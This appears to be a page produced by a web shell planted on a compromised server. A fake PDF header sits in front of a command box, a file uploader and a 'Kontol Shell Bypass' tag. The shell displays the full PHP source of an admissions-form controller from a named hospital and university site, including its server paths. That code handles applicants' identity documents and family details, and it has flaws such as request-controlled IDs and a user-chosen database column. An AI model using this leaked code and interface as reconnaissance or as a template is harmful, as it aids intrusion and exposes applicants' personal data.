%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers/Admform.php
<?php
class Admform extends MY_Controller {
	function __construct() {
        parent::__construct();
        ini_set('memory_limit', '1024M');
	    set_time_limit(0);
        $this->load->model("dataset_model", "dataset");
        $this->load->model("api_model", "api");
        $this->load->model('admform_model', 'adm');
        define('APP_ID', $_REQUEST['app_id']);
    }

    function upload_img_pdf($name,$dir,$CI){
        if(!is_dir($dir)){
            mkdir($dir, 0777, true);
        }
        $config=array(
            'upload_path'=>$dir, 
            'allowed_types'=>'jpg|jpeg|png|pdf', 
            'max_size'=>'10240',
            'max_filename'=>80,
            'file_ext_tolower'=>true,
        );
        $CI->upload->initialize($config);
        if($CI->upload->do_upload($name)){
            return $CI->upload->data('file_name');
        }else{
            throw new Exception(strip_tags($CI->upload->display_errors()));
        }
    }
	
	function init(){
        $res=['success'=>true, 'msg'=>'Error!', 'dds'=>[]];
        
        $res['dds']['acs']=$this->adm->acs();
        $res['dds']['disciplines']=$this->adm->disciplines();
        $res['dds']['programs']=$this->adm->programs();
        $res['dds']['plans']=$this->adm->plans();
        
        $res['dds']['states']=$this->adm->states();
        $res['dds']['cities']=$this->adm->cities();

        $res['dds']['boards']=$this->adm->boards();
		$res['dds']['universities']=$this->adm->universities();
        $res['dds']['marking_schemes']=$this->adm->marking_schemes();
        $res['dds']['marking_schemes_values']=key_val_array($this->db->select("id, allowed_data")->get("master_marking_schemes")->result_array(), 'id', 'allowed_data');
        foreach($res['dds']['marking_schemes_values'] as $k=>$v){
            $res['dds']['marking_schemes_values'][$k]=explode(",", $v);
        }
        
        $res['dds']['religions']=$this->adm->religions();
        $res['dds']['applicant_cats']=$this->adm->applicant_cats();

        $res['dds']['pyears']=[];
		for($i=date('Y')+1; $i>=date('Y')-70; $i--){
			$res['dds']['pyears'][]=$i;
        }
        $res['data']=$this->adm->detail();
        json_data($res);
    }

    function save_step1(){
        $res=[
            'success'=>false,
            'msg'=>'Error!'
        ];

        $post=trim_array($this->input->post());
        try{
            $adm_dtl=$this->db->select('id,step_completed,final_submitted')
                    ->from('adm_form')
                    ->where(['app_id'=>APP_ID])
                    ->limit(1)
                    ->get()->row_array();
            if($adm_dtl && $adm_dtl['final_submitted'] == 1){
                //throw new \Exception("Form Is Final Submitted, Modification Can't be Done");
            }

            $v = $this->form_validation;

            $v->set_rules('name', 'Full Name', "required", $this->req);
            $v->set_rules('mob', 'Mobile', "required", $this->req);
            $v->set_rules('email', 'Email ID', "required|valid_email", $this->req);
            $v->set_rules('ac_id', 'Academic Career', "required|numeric", $this->req);
            $v->set_rules('program_id', 'Programme', "required|numeric", $this->req);
            $v->set_rules('plan_id', 'Specialization', "required|numeric", $this->req);
            $v->set_rules('dob', "Applicant's DOB", "required", $this->req);
            $v->set_rules('gender', "Applicant's Gender", "required", $this->req);
            $v->set_rules('cat_id', "Applicant's Category", "required|numeric", $this->req);
            $v->set_rules('religion_id', "Applicant's Religion", "required|numeric", $this->req);
            $v->set_rules('address', "Permanent Address", "required", $this->req);
            $v->set_rules('state_id', 'State', "required|numeric", $this->req);
            $v->set_rules('city_id', 'City', "required|numeric", $this->req);
            $v->set_rules('pincode', 'Pincode', "required|numeric", $this->req);
            $v->set_rules('pob', 'Place Of Birth', "required", $this->req);
            $v->set_rules('domicile_state_id', 'Domicile State', "required|numeric", $this->req);
            $v->set_rules('physically_challenged', 'Physically Challenged', "required", $this->req);
            $v->set_rules('nationality', 'Nationality', "required", $this->req);
            $v->set_rules('mother_name', "Mother's Name", "required", $this->req);
            $v->set_rules('mother_qualification', "Mother's Qualification", "required", $this->req);
            $v->set_rules('mother_occupation', "Mother's Occupation", "required", $this->req);
            $v->set_rules('father_name', "Father's Name", "required", $this->req);
            $v->set_rules('father_qualification', "Father's Qualification", "required", $this->req);
            $v->set_rules('father_occupation', "Father's Occupation", "required", $this->req);
            $v->set_rules('house_income', "Household Income (Per Annum)", "required", $this->req);
            $v->set_rules('id_proof', "ID Proof", "required", $this->req);
            $v->set_rules('id_proof_dtl', 'ID Proof Details', "required", $this->req);
            //$v->set_rules('landline', 'Landline No', "required", $this->req);
            //$v->set_rules('parent_mob', "Parent's Mobile No", "required", $this->req);
            $v->set_rules('parent_email', "Parent's Email Id", "valid_email", $this->req);
            $v->set_rules('source_of_info', "Source of Information", "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }else{
                $data=filter_value($post, ['name','mob','email','ac_id','program_id','plan_id','dob','gender','cat_id','religion_id','address','state_id','city_id','pincode','pob','domicile_state_id','physically_challenged','nationality','mother_name','mother_qualification','mother_occupation','father_name','father_qualification','father_occupation','house_income','id_proof','id_proof_dtl','landline','parent_mob','parent_email','source_of_info']);              
                $data['dob']=to_date_format($data['dob']);

                if(!$adm_dtl){
                    $data['step_completed']=1;
                }

                $this->adm->save_step1($data);
            }

            $res['msg']="Personal Details Completed Successfully";
            $res['success']=true;

            $st=$this->adm->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

		json_data($res);
    }

    function save_step2(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        try{
            $adm_dtl = $this->db->select('id,step_completed,final_submitted')
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();
            if($adm_dtl['step_completed'] < 1){
                throw new \Exception("Step1 is Not Completed");
            }else if($adm_dtl['final_submitted'] == 1){
                //throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            $v = $this->form_validation;

            $v->set_rules('status_10th', "10th Exam Details", "required", $this->req);
            $v->set_rules('board_id_10th', "10th Board", "required|numeric", $this->req);
            $v->set_rules('marking_scheme_id_10th', "10th Marking Scheme", "required", $this->req);
            $v->set_rules('marks_10th', "Aggregate %/CGPA/Points", "required", $this->req);
            $v->set_rules('passing_year_10th', "10th Passing Year", "required", $this->req);
            $v->set_rules('school_name_10th', "10th School Name", "required", $this->req);
            $v->set_rules('school_state_id_10th', "10th School State", "required", $this->req);
            $v->set_rules('school_city_10th', "10th School City", "required", $this->req);
            
            /* $v->set_rules('status_12th', "12th Exam Details", "required", $this->req);
            $v->set_rules('board_id_12th', "12th Board", "required", $this->req);
            $v->set_rules('marking_scheme_id_12th', "12th Marking Scheme", "required", $this->req);
            $v->set_rules('marks_12th', "Aggregate %/CGPA/Points", "required", $this->req);
            $v->set_rules('passing_year_12th', "12th Passing Year", "required", $this->req);
            $v->set_rules('school_name_12th', "12th School Name", "required", $this->req);
            $v->set_rules('school_state_id_12th', "12th School State", "required", $this->req);
            $v->set_rules('school_city_12th', "12th School City", "required", $this->req); */
            $v->set_rules('sibling_studies_here', "Does any of your sibling(s) studies at any of the Sharda Group of Institutions", "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }else{
                $data=filter_value($post, [
                        'status_10th','board_id_10th','board_10th','marking_scheme_id_10th','marks_10th','passing_year_10th','school_name_10th','school_state_id_10th','school_city_10th',
                        'status_12th','board_id_12th','board_12th','marking_scheme_id_12th','marks_12th','passing_year_12th','school_name_12th','school_state_id_12th','school_city_12th',
                        'status_dip','board_id_dip','board_dip','marking_scheme_id_dip','marks_dip','passing_year_dip','school_name_dip','school_state_id_dip','school_city_dip',
                        'status_ug','university_id_ug', 'university_ug', 'marking_scheme_id_ug','marks_ug','passing_year_ug','school_name_ug','school_state_id_ug','school_city_ug','degree_name_ug', 
                        'status_pg','university_id_pg', 'university_pg', 'marking_scheme_id_pg','marks_pg','passing_year_pg','school_name_pg','school_state_id_pg','school_city_pg','degree_name_pg',
                        'status_othr','university_id_othr', 'university_othr', 'marking_scheme_id_othr','marks_othr','passing_year_othr','school_name_othr','school_state_id_othr','school_city_othr','degree_name_othr',
                        'pcm','pcb','pcsm','school_no','center_no','roll_no','id_card_no','jee_rank_air','upsee_rank_gen','upsee_rank_biotech','mat_percentile','cat_percentile','xat_percentile',
                        'nata_score', 'clat_score','lsat_score','neet_score','suat_score', 'net', 'gate', 'slet', 'mphil', 'other_entrance_exam_dtl','sibling_studies_here','sibling_name','sibling_relation','sibling_program',
                        'sibling_system_id','sibling_adm_year']);     
                        
                $boards=key_val_array($this->adm->boards(), 'id', 'title');
                $universities=key_val_array($this->adm->universities(), 'id', 'title');
                if(!$data['board_10th']){
                    $data['board_10th']=replace_null($boards[$data['board_id_10th']]);
                }
                if(!$data['board_12th']){
                    $data['board_12th']=replace_null($boards[$data['board_id_12th']]);
                }
                if(!$data['board_dip']){
                    $data['board_dip']=replace_null($boards[$data['board_id_dip']]);
                }
                if(!$data['university_ug']){
                    $data['university_ug']=replace_null($universities[$data['university_id_ug']]);
                }
                if(!$data['university_pg']){
                    $data['university_pg']=replace_null($universities[$data['university_id_pg']]);
                }
                if(!$data['university_othr']){
                    $data['university_othr']=replace_null($universities[$data['university_id_othr']]);
                }

                
                if($adm_dtl['step_completed'] < 2){
                    $data['step_completed']=2;
                }
                
                $data['status']='Pending';
                $res = $this->adm->save_step2($data);

                $st=$this->adm->get_step_completed();
                $res['step_completed']=$st['step_completed'];
                $res['final_submitted']=$st['final_submitted'];
            }

        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

		json_data($res);
    }

    function save_step3(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        $dir = UP_PATHF.'admissions/';
        $this->load->library('upload');
        try{
            $adm_dtl = $this->db->select('id,profile_photo,signature,step_completed,final_submitted')
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();
            if($adm_dtl['step_completed'] < 2){
                throw new \Exception("Step2 is Not Completed");
            }else if($adm_dtl['final_submitted'] == 1){
                //throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }
            if(!$adm_dtl['profile_photo'] && $_FILES['profile_photo']['name'] == ''){
                throw new \Exception("Profile photo required");
            }

            if(!$adm_dtl['signature'] && $_FILES['signature']['name'] == ''){
                throw new \Exception("Signature required");
            }
            
            if($_FILES['profile_photo']['name']){
                $file=upload_img('profile_photo',$dir.'profiles/',$this);
                if($adm_dtl['profile_photo']){
                    @unlink($dir.'profiles/'.$adm_dtl['profile_photo']);
                }
                $adm_dtl['profile_photo'] = $file;
            }

            if($_FILES['signature']['name']){
                $file=upload_img('signature',$dir.'signatures/',$this);
                if($adm_dtl['signature']){
                    @unlink($dir.'signatures/'.$adm_dtl['signature']);
                }
                $adm_dtl['signature'] = $file;
            }
            if($adm_dtl['step_completed'] < 3){
                $adm_dtl['step_completed']=3;
            }

            $adm_dtl['status']='Pending';
            $this->dba->save('adm_form', $adm_dtl);
            
            $res['msg']="Photo & Signature Uploaded Successfully";
            $res['success']=true;
            $res['result'] = [
                'signature_url' => UP_URLF.'admissions/signatures/'.$adm_dtl['signature'],
                'profile_photo_url' => UP_URLF.'admissions/profiles/'.$adm_dtl['profile_photo']
            ];

            $st=$this->adm->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function delete_step3_img(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        $dir = UP_PATHF.'admissions/';
        try{
            $adm_dtl=$this->db->select('id, final_submitted, step_completed')
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if($adm_dtl['final_submitted'] == 1){
                //throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            $v=$this->form_validation;

            $field = isset($post['field']) ? $post['field'] : '';
            
            if($field != 'signature' && $field != 'profile_photo'){
                throw new \Exception("Please Send Valid Field");
            }

            $title = ($field == 'signature') ? "Signature Image" : "Profile Photo";
            $folder = ($field == 'signature') ? "signatures/" : "profiles/";

            $adm_dtl = $this->db->select("id,$field")
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if(!$adm_dtl[$field]){
                throw new \Exception("$title Not Found");
            }

            @unlink($dir.$folder.$adm_dtl[$field]);
            

            $adm_dtl[$field] = '';
            $adm_dtl['step_completed']=3;
            $adm_dtl['status']='Pending';
            $this->dba->save('adm_form', $adm_dtl);
            
            $res['msg']="$title Deleted Successfully";
            $res['success']=true;

            $st=$this->adm->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function save_step4(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $post=trim_array($this->input->post());
        $dir = UP_PATHF.'admissions/docs/';
        $this->load->library('upload');
        try{
            $f='id, final_submitted, step_completed,
                marksheet_10th, marksheet_12th, marksheet_dip, marksheet_ug, marksheet_pg, marksheet_othr,
                entrance_exam_scoreboard, id_proof_img, cat_support_doc, physically_challange_certificate';
            $adm_dtl=$this->db->select($f)
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            $v=$this->form_validation;

            if($adm_dtl['step_completed'] < 3){
                throw new \Exception("Step3 Is Not Completed");
            }else if($adm_dtl['final_submitted'] == 1){
                //throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }

            $v->set_rules('key', "Key", "required", $this->req);
            if(!$adm_dtl['marksheet_10th'] && $_FILES['marksheet_10th']['name'] == ''){
                $v->set_rules('marksheet_10th', "10th Certificate", "required", $this->req);
            }
            if(!$adm_dtl['id_proof_img'] && $_FILES['id_proof_img']['name'] == ''){
                $v->set_rules('id_proof_img', "ID Proof", "required", $this->req);
            }

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }

            if($_FILES['marksheet_10th']['name']){
                $file=$this->upload_img_pdf('marksheet_10th',$dir,$this);
                if($adm_dtl['marksheet_10th']){
                    @unlink($dir.$adm_dtl['marksheet_10th']);
                }
                $adm_dtl['marksheet_10th'] = $file;
            }

            if($_FILES['marksheet_12th']['name']){
                $file=$this->upload_img_pdf('marksheet_12th',$dir,$this);
                if($adm_dtl['marksheet_12th']){
                    @unlink($dir.$adm_dtl['marksheet_12th']);
                }
                $adm_dtl['marksheet_12th']=$file;
            }

            if($_FILES['marksheet_dip']['name']){
                $file=$this->upload_img_pdf('marksheet_dip',$dir,$this);
                if($adm_dtl['marksheet_dip']){
                    @unlink($dir.$adm_dtl['marksheet_dip']);
                }
                $adm_dtl['marksheet_dip']=$file;
            }
            $adm_dtl['marksheet_ug'].=",";
            foreach($_FILES as $key=>&$FILE){
                $is_marksheet_ug = substr($key,0,13);
                if($is_marksheet_ug == 'marksheet_ug_' && $_FILES[$key]['name'] != ''){
                    $adm_dtl['marksheet_ug'].=$this->upload_img_pdf($key,$dir,$this).",";
                }
            }
            $adm_dtl['marksheet_ug'] = trim($adm_dtl['marksheet_ug'],",");

            $adm_dtl['marksheet_pg'].=",";
            foreach($_FILES as $key=>&$FILE){
                $is_marksheet_pg = substr($key,0,13);
                if($is_marksheet_pg == 'marksheet_pg_' && $_FILES[$key]['name'] != ''){
                    $adm_dtl['marksheet_pg'].=$this->upload_img_pdf($key,$dir,$this).",";
                }
            }
            $adm_dtl['marksheet_pg'] = trim($adm_dtl['marksheet_pg'],",");
            
            $adm_dtl['marksheet_othr'].=",";
            foreach($_FILES as $key=>&$FILE){
                $is_marksheet_othr = substr($key,0,15);
                if($is_marksheet_othr == 'marksheet_othr_' && $_FILES[$key]['name'] != ''){
                    $adm_dtl['marksheet_othr'].=$this->upload_img_pdf($key,$dir,$this).",";
                }
            }
            $adm_dtl['marksheet_othr'] = trim($adm_dtl['marksheet_othr'],",");
            
            if($_FILES['entrance_exam_scoreboard']['name']){
                $file=$this->upload_img_pdf('entrance_exam_scoreboard',$dir,$this);
                if($adm_dtl['entrance_exam_scoreboard']){
                    @unlink($dir.$adm_dtl['entrance_exam_scoreboard']);
                }
                $adm_dtl['entrance_exam_scoreboard'] = $file;
            }
            
            
            if($_FILES['id_proof_img']['name']){
                $file=$this->upload_img_pdf('id_proof_img',$dir,$this);
                if($adm_dtl['id_proof_img']){
                    @unlink($dir.$adm_dtl['id_proof_img']);
                }
                $adm_dtl['id_proof_img']=$file;
            }

            if($_FILES['cat_support_doc']['name']){
                $file=$this->upload_img_pdf('cat_support_doc',$dir,$this);
                if($adm_dtl['cat_support_doc']){
                    @unlink($dir.$adm_dtl['cat_support_doc']);
                }
                $adm_dtl['cat_support_doc'] = $file;
            }

            if($_FILES['physically_challange_certificate']['name']){
                $file=$this->upload_img_pdf('physically_challange_certificate',$dir,$this);
                if($adm_dtl['physically_challange_certificate']){
                    @unlink($dir.$adm_dtl['physically_challange_certificate']);
                }
                $adm_dtl['physically_challange_certificate'] = $file;
            }
            $adm_dtl['step_completed']=4;
            $adm_dtl['status']='Pending';
            $this->dba->save('adm_form', $adm_dtl);
            
            $res['msg']="Documents Uploaded Successfully";
            $res['success']=true;
            $res['result'] = [
                'marksheet_10th'=>$adm_dtl['marksheet_10th'],
                'marksheet_10th_url' => $adm_dtl['marksheet_10th']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_10th']:'',
                'marksheet_12th'=>$adm_dtl['marksheet_12th'],
                'marksheet_12th_url' => $adm_dtl['marksheet_12th']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_12th']:'',
                'marksheet_dip'=>$adm_dtl['marksheet_dip'],
                'marksheet_dip_url' => $adm_dtl['marksheet_dip']?UP_URLF.'admissions/docs/'.$adm_dtl['marksheet_dip']:'',
                
                'entrance_exam_scoreboard'=>$adm_dtl['entrance_exam_scoreboard'],
                'entrance_exam_scoreboard_url' => $adm_dtl['entrance_exam_scoreboard']?UP_URLF.'admissions/docs/'.$adm_dtl['entrance_exam_scoreboard']:'',
                'id_proof_img'=>$adm_dtl['id_proof_img'],
                'id_proof_img_url' => $adm_dtl['id_proof_img']?UP_URLF.'admissions/docs/'.$adm_dtl['id_proof_img']:'',
                'cat_support_doc'=>$adm_dtl['cat_support_doc'],
                'cat_support_doc_url' => $adm_dtl['cat_support_doc']?UP_URLF.'admissions/docs/'.$adm_dtl['cat_support_doc']:'',
                'physically_challange_certificate'=>$adm_dtl['physically_challange_certificate'],
                'physically_challange_certificate_url' => $adm_dtl['physically_challange_certificate']?UP_URLF.'admissions/docs/'.$adm_dtl['physically_challange_certificate']:'',
            ];

            if($adm_dtl['marksheet_ug']){
                $marksheet_ug = explode(",",$adm_dtl['marksheet_ug']);
                $adm_dtl['marksheet_ug']=[];
                
                foreach($marksheet_ug as $i=>$r){
                    $res['result']['marksheet_ug'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $res['result']['marksheet_ug'][$i]['name'] = $r;
                }
            }

            if($adm_dtl['marksheet_pg']){
                $marksheet_pg = explode(",",$adm_dtl['marksheet_pg']);
                $adm_dtl['marksheet_pg']=[];
                
                foreach($marksheet_pg as $i=>$r){
                    $res['result']['marksheet_pg'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $res['result']['marksheet_pg'][$i]['name'] = $r;
                }
            }

            if($adm_dtl['marksheet_othr']){
                $marksheet_othr = explode(",",$adm_dtl['marksheet_othr']);
                $adm_dtl['marksheet_othr']=[];
                
                foreach($marksheet_othr as $i=>$r){
                    $res['result']['marksheet_othr'][$i]['url'] = UP_URLF.'admissions/docs/'.$r;
                    $res['result']['marksheet_othr'][$i]['name'] = $r;
                }
            }

            $st=$this->adm->get_step_completed();
            $res['step_completed']=$st['step_completed'];
            $res['final_submitted']=$st['final_submitted'];
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function delete_doc(){
        $res=['success'=>false, 'msg'=>'Error!'];
        try{
            $adm_dtl=$this->db->select('id, final_submitted, step_completed')
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if($adm_dtl['final_submitted'] == 1){
                //throw new \Exception("Form Is Final Submitted, Modification Can't Done");
            }
            
            $post=trim_array($this->input->post());
            $dir = UP_PATHF.'admissions/docs/';

            $this->form_validation->set_rules('key', "Key", "required", $this->req);
            $this->form_validation->set_rules('name', "File Name", "required", $this->req);

            if(@$this->form_validation->run() == FALSE){
                $res['errors']=$this->form_validation->get_errors();
                throw new Exception(reset($res['errors']));
            }

            $key = $post['key'];
            $adm_dtl=$this->db->select("id, $key")
                ->from('adm_form')
                ->where(['app_id'=>APP_ID])
                ->limit(1)
                ->get()->row_array();

            if(!$adm_dtl){
                throw new Exception("Details Not Found");
            }

            

            $files = explode(",",$adm_dtl[$key]);
            //pr($files); die;
            $index = -1;
            foreach($files as $i=>$file){
                if($file == $post['name']){
                    $index = $i;
                    @unlink($dir.$file);
                    break;
                }
            }

            if($index < 0){
                throw new Exception("No File Found");
            }

            unset($files[$index]);
            $adm_dtl[$key] = implode($files,",");

            $this->dba->save('adm_form', $adm_dtl);
            $res['success'] = true;
            $res['msg'] = "File Deleted Successfully";
        }catch(Exception $e){
            $res['msg']=$e->getMessage();
        }

        json_data($res);
    }

    function finalSubmit(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $st=$this->adm->get_step_completed();
        if($st['final_submitted']){
            $res['msg']="Already final submitted";
            json_data($res);
        }

        $this->db->where(['app_id'=>APP_ID])->update('adm_form', ['final_submitted'=>1, 'updated'=>currentDT(), 'updated_by'=>USER_ID]);
        if($this->db->affected_rows()>0){
            $res['success']=true;
            $res['msg']="Final submission done successfully";
            $res['final_submitted']=1;
        }

        json_data($res);
    }

    function hold(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $this->db->where(['app_id'=>APP_ID])->update('adm_form', ['final_submitted'=>0, 'status'=>'Hold', 'action_date'=>currentDT(), 'action_by'=>USER_ID, 'updated'=>currentDT(), 'updated_by'=>USER_ID]);
        if($this->db->affected_rows()>0){
            $dtl=$this->adm->detail();
            $html=$this->load->view("email/app_hold", ['dtl'=>$dtl], true);
            $this->api->send_email($dtl['email'], "Correction Required in your Sharda Application Form", $html);

            $msg="Dear {$dtl['name']}, Corrections required in your Sharda Online Admission process form. Click here {$dtl['login_url']} to do the required corrections & resubmit for further procedure.";
            send_sms($dtl['mob'], $msg);

            $res['success']=true;
            $res['msg']="Application form status changed to Hold/Push Back";
            $res['final_submitted']=0;
            $res['status']='Hold';
        }

        json_data($res);
    }

    function approve(){
        $res=['success'=>false, 'msg'=>'Error!'];
        $this->db->where(['app_id'=>APP_ID])->update('adm_form', ['status'=>'Approved', 'action_date'=>currentDT(), 'action_by'=>USER_ID, 'updated'=>currentDT(), 'updated_by'=>USER_ID]);
        if($this->db->affected_rows()>0){
            //$dtl=$this->adm->detail();
            //$html=$this->load->view("email/app_hold", ['dtl'=>$dtl], true);
            //$this->api->send_email($dtl['email'], "Application On Hold", $html);

            $res['success']=true;
            $res['msg']="Application form Approved";
            $res['status']='Approved';
        }

        json_data($res);
    }

    function admission_form($app_id='', $system_id=''){
        $url=URL.'admform/download_adm_form_pdf/'.$app_id;
        //$url="https://www.google.com/";

        $config=['http'=>['method'=>'GET', 'header'=>"Referer: $url"]];
        $context=stream_context_create($config);
        $fp=fopen('http://pdfcrowd.com/url_to_pdf/?height=-1&use_print_media=1&no_javascript=1', 'r', false, $context);
        header('Content-Type: application/pdf');
        header("Content-Disposition: attachment; filename={$system_id}-admission-form.pdf");
        fpassthru($fp);
        fclose($fp);

        //echo $url;
        die;

        /* $data['dtl']=$this->adm->detail(decode($app_id));
        $html=$this->load->view("pages/adm_form", $data, true);
        echo $html; die;
        create_pdf($html, "admission-card.pdf", "I"); */
    }

    function download_adm_form_pdf($app_id){
        $data['dtl']=$this->adm->detail(decode($app_id));
        $html=$this->load->view("pages/adm_form", $data, true);
        echo $html; die;
    }



    /** */
    function init_list(){
        $data=$this->adm->lists();
        $data['states']=$this->common->states();
		$this->json_data($data);
    }
    function lists(){
        $data=$this->adm->lists();
		$this->json_data($data);
    }
}

//EOF

Kontol Shell Bypass